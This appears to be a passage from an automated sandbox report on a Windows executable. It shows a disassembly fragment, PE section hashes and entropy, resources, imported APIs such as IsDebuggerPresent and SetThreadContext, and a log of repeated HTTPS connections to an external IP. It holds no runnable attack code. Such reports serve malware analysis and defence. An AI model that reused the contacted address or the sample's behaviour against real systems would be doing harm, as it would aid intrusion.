and byte ptr [edx+75h], ah
imul ebp, dword ptr [esp+20h], 203A4449h
and cl, byte ptr [ebx+75h]
push esp
inc edi
jo 00007F546CF2AD47h
dec ebx
inc ebx
insd
xor byte ptr [ecx+49h], cl
dec ecx
inc esi
push 00000077h
push edi
push ebx
jp 00007F546CF2AD31h
jne 00007F546CF2AD7Ah
outsd
imul ecx, dword ptr [eax+32h], 58625970h
pop edi
dec edi
push di
dec eax
dec esp
das
inc esp
pop edi
inc ebp
xor dl, byte ptr [edi+62h]
push edi
dec edx
pop edi
xor byte ptr [edi+34h], dh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xa6d000	0x4e	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa6e000	0x1458	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa72000	0xe056	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x9b8000	0x1de38	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa81000	0x16978	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x9b6e40	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xa6e494	0x458	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x43dc00	0x43dc00	4d204adc3128543a03933ebab6a62a7e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x43f000	0x76f30	0x77000	61bcbb499bb2b71a68743e8b4547066d	False	0.3885631400997899	dBase III DBT, version number 0, next free block index 10, 1st item "nNzJar+8KY+LPI6wiWrP/myHw="	5.600499607623445	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x4b6000	0x501c70	0x501e00	b021c8f42fc513a4e3f09342ad0fd319	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.pdata	0x9b8000	0x1de38	0x1e000	6682d8d55c02004c2d47280e58157f3a	False	0.39810384114583336	data	5.638546080934293	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.xdata	0x9d6000	0xc50	0xe00	979050a6b7bf6161154d748c100efafc	False	0.2583705357142857	data	3.9945120572433783	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.bss	0x9d7000	0x952e0	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0xa6d000	0x4e	0x200	07d4f7a3eb683855c6af60897a72395d	False	0.08984375	data	0.6513844786319263	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.idata	0xa6e000	0x1458	0x1600	e9a82f31e572d26076a408635fbd2166	False	0.29829545454545453	data	4.342722917773444	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0xa70000	0x70	0x200	229f13381e9bd504d71bde7b201dc7ec	False	0.08203125	data	0.46601398182820153	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xa71000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xa72000	0xe056	0xe200	fa3aa680db7c97fc632b574d278c3ac5	False	0.15486725663716813	data	2.509998495779265	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0xa81000	0x16978	0x16a00	fed0f92e6b14a23efbd9ba9dcd66d328	False	0.21332225483425415	data	5.43066875103094	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xa72370	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640			0.23655913978494625
RT_ICON	0xa72658	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192			0.4222972972972973
RT_ICON	0xa72780	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688			0.2667910447761194
RT_ICON	0xa73628	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152			0.38402527075812276
RT_ICON	0xa73ed0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320			0.5382947976878613
RT_ICON	0xa74438	0xdb4	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.733751425313569
RT_ICON	0xa751ec	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896			0.05018894662257912
RT_ICON	0xa79414	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600			0.06846473029045644
RT_ICON	0xa7b9bc	0x1a68	Device independent bitmap graphic, 40 x 80 x 32, image size 6720			0.08505917159763314
RT_ICON	0xa7d424	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224			0.10858348968105065
RT_ICON	0xa7e4cc	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400			0.1569672131147541
RT_ICON	0xa7ee54	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680			0.20406976744186048
RT_ICON	0xa7f50c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088			0.2429078014184397
RT_GROUP_ICON	0xa7f974	0xbc	data			0.6542553191489362
RT_VERSION	0xa7fa30	0x2f4	data	English	United States	0.4576719576719577
RT_MANIFEST	0xa7fd24	0x332	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.46943765281173594

Imports

DLL

Import

KERNEL32.dll

AddAtomA, AddVectoredContinueHandler, AddVectoredExceptionHandler, CloseHandle, CreateEventA, CreateFileA, CreateIoCompletionPort, CreateMutexA, CreateSemaphoreA, CreateThread, CreateWaitableTimerExW, DeleteAtom, DeleteCriticalSection, DuplicateHandle, EnterCriticalSection, ExitProcess, FindAtomA, FormatMessageA, FreeEnvironmentStringsW, GetAtomNameA, GetConsoleMode, GetCurrentProcess, GetCurrentProcessId, GetCurrentThread, GetCurrentThreadId, GetEnvironmentStringsW, GetErrorMode, GetHandleInformation, GetLastError, GetProcAddress, GetProcessAffinityMask, GetQueuedCompletionStatusEx, GetStartupInfoA, GetStdHandle, GetSystemDirectoryA, GetSystemInfo, GetSystemTimeAsFileTime, GetThreadContext, GetThreadPriority, GetTickCount, InitializeCriticalSection, IsDBCSLeadByteEx, IsDebuggerPresent, LeaveCriticalSection, LoadLibraryExW, LoadLibraryW, LocalFree, MultiByteToWideChar, OpenProcess, OutputDebugStringA, PostQueuedCompletionStatus, QueryPerformanceCounter, QueryPerformanceFrequency, RaiseException, RaiseFailFastException, ReleaseMutex, ReleaseSemaphore, RemoveVectoredExceptionHandler, ResetEvent, ResumeThread, RtlLookupFunctionEntry, RtlVirtualUnwind, SetConsoleCtrlHandler, SetErrorMode, SetEvent, SetLastError, SetProcessAffinityMask, SetProcessPriorityBoost, SetThreadContext, SetThreadPriority, SetUnhandledExceptionFilter, SetWaitableTimer, Sleep, SuspendThread, SwitchToThread, TlsAlloc, TlsGetValue, TlsSetValue, TryEnterCriticalSection, VirtualAlloc, VirtualFree, VirtualProtect, VirtualQuery, WaitForMultipleObjects, WaitForSingleObject, WerGetFlags, WerSetFlags, WideCharToMultiByte, WriteConsoleW, WriteFile, __C_specific_handler

msvcrt.dll

___lc_codepage_func, ___mb_cur_max_func, __getmainargs, __initenv, __iob_func, __lconv_init, __set_app_type, __setusermatherr, _acmdln, _amsg_exit, _beginthread, _beginthreadex, _cexit, _commode, _endthreadex, _errno, _fmode, _initterm, _lock, _memccpy, _onexit, _setjmp, _strdup, _ultoa, _unlock, abort, calloc, exit, fprintf, fputc, free, fwrite, localeconv, longjmp, malloc, memcpy, memmove, memset, printf, realloc, signal, strerror, strlen, strncmp, vfprintf, wcslen

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 26, 2024 18:23:27.891983986 CET	49727	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:27.892028093 CET	443	49727	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:27.892096043 CET	49727	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:27.911380053 CET	49727	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:27.911396980 CET	443	49727	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:28.135770082 CET	443	49727	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:28.135844946 CET	49727	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:28.155852079 CET	49727	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:28.155883074 CET	443	49727	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:28.156152010 CET	443	49727	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:28.205734968 CET	49727	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:28.225790024 CET	49727	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:28.225817919 CET	49727	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:28.225934982 CET	443	49727	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:28.667217970 CET	443	49727	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:28.667359114 CET	443	49727	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:28.667438984 CET	49727	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:28.672445059 CET	49727	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:28.672472000 CET	443	49727	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:28.672486067 CET	49727	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:28.672492981 CET	443	49727	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:28.684324026 CET	49729	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:28.684365988 CET	443	49729	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:28.684433937 CET	49729	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:28.684766054 CET	49729	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:28.684779882 CET	443	49729	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:28.885838032 CET	443	49729	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:28.885986090 CET	49729	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:28.887073040 CET	49729	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:28.887083054 CET	443	49729	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:28.887377977 CET	443	49729	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:28.888813019 CET	49729	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:28.888813019 CET	49729	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:28.888883114 CET	443	49729	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:29.412426949 CET	443	49729	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:29.412475109 CET	443	49729	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:29.412509918 CET	443	49729	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:29.412540913 CET	443	49729	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:29.412580967 CET	443	49729	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:29.412586927 CET	49729	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:29.412606001 CET	443	49729	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:29.412620068 CET	49729	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:29.412642956 CET	443	49729	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:29.412669897 CET	443	49729	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:29.412669897 CET	49729	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:29.412683010 CET	443	49729	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:29.412803888 CET	49729	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:29.412906885 CET	443	49729	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:29.413075924 CET	443	49729	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:29.413101912 CET	49729	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:29.413110018 CET	443	49729	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:29.413151026 CET	443	49729	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:29.413167953 CET	49729	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:29.413175106 CET	443	49729	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:29.413547993 CET	49729	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:29.413553953 CET	443	49729	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:29.413979053 CET	443	49729	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:29.414216995 CET	49729	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:29.414376974 CET	49729	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:29.414397001 CET	443	49729	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:29.414418936 CET	49729	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:29.414423943 CET	443	49729	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:29.593039036 CET	49730	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:29.593091011 CET	443	49730	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:29.593307972 CET	49730	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:29.593568087 CET	49730	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:29.593580008 CET	443	49730	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:29.796722889 CET	443	49730	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:29.796808004 CET	49730	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:29.798113108 CET	49730	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:29.798130989 CET	443	49730	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:29.798388004 CET	443	49730	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:29.799680948 CET	49730	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:29.799823999 CET	49730	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:29.799858093 CET	443	49730	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:30.296804905 CET	443	49730	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:30.296946049 CET	443	49730	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:30.297086000 CET	49730	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:30.297863960 CET	49730	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:30.297884941 CET	443	49730	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:30.588450909 CET	49731	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:30.588495970 CET	443	49731	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:30.588567972 CET	49731	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:30.588871956 CET	49731	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:30.588890076 CET	443	49731	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:30.790688992 CET	443	49731	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:30.790801048 CET	49731	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:30.792198896 CET	49731	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:30.792213917 CET	443	49731	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:30.792503119 CET	443	49731	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:30.793894053 CET	49731	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:30.793894053 CET	49731	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:30.793936014 CET	443	49731	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:30.794027090 CET	49731	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:30.794034004 CET	443	49731	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:31.273519993 CET	443	49731	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:31.273699999 CET	443	49731	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:31.273844004 CET	49731	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:31.273973942 CET	49731	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:31.697478056 CET	49732	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:31.697515011 CET	443	49732	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:31.697680950 CET	49732	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:31.697937965 CET	49732	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:31.697948933 CET	443	49732	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:31.899907112 CET	443	49732	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:31.900027990 CET	49732	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:31.901257038 CET	49732	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:31.901263952 CET	443	49732	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:31.901523113 CET	443	49732	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:31.902731895 CET	49732	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:31.902892113 CET	49732	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:31.902921915 CET	443	49732	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:31.902983904 CET	49732	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:31.902992010 CET	443	49732	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:32.435430050 CET	443	49732	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:32.435573101 CET	443	49732	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:32.435646057 CET	49732	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:32.437331915 CET	49732	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:32.437350035 CET	443	49732	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:33.412810087 CET	49733	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:33.412838936 CET	443	49733	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:33.412902117 CET	49733	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:33.413238049 CET	49733	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:33.413253069 CET	443	49733	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:33.615912914 CET	443	49733	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:33.616044998 CET	49733	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:33.617394924 CET	49733	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:33.617402077 CET	443	49733	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:33.617728949 CET	443	49733	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:33.619112968 CET	49733	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:33.619251013 CET	49733	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:33.619273901 CET	443	49733	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:34.102233887 CET	443	49733	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:34.102359056 CET	443	49733	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:34.102441072 CET	49733	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:34.102603912 CET	49733	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:34.102619886 CET	443	49733	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:34.231576920 CET	49734	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:34.231620073 CET	443	49734	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:34.231731892 CET	49734	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:34.232069969 CET	49734	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:34.232080936 CET	443	49734	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:34.431498051 CET	443	49734	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:34.431567907 CET	49734	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:34.432931900 CET	49734	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:34.432944059 CET	443	49734	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:34.433187008 CET	443	49734	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:34.434506893 CET	49734	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:34.434561968 CET	49734	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:34.434571028 CET	443	49734	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:34.910912037 CET	443	49734	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:34.911041021 CET	443	49734	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:34.911962032 CET	49734	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:34.911962032 CET	49734	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:35.221478939 CET	49734	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:35.221508980 CET	443	49734	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:35.586797953 CET	49735	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:35.586838007 CET	443	49735	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:35.586931944 CET	49735	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:35.587243080 CET	49735	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:35.587255955 CET	443	49735	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:35.788011074 CET	443	49735	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:35.788093090 CET	49735	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:35.789378881 CET	49735	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:35.789387941 CET	443	49735	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:35.789637089 CET	443	49735	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:35.790930033 CET	49735	443	192.168.2.6	172.67.166.251
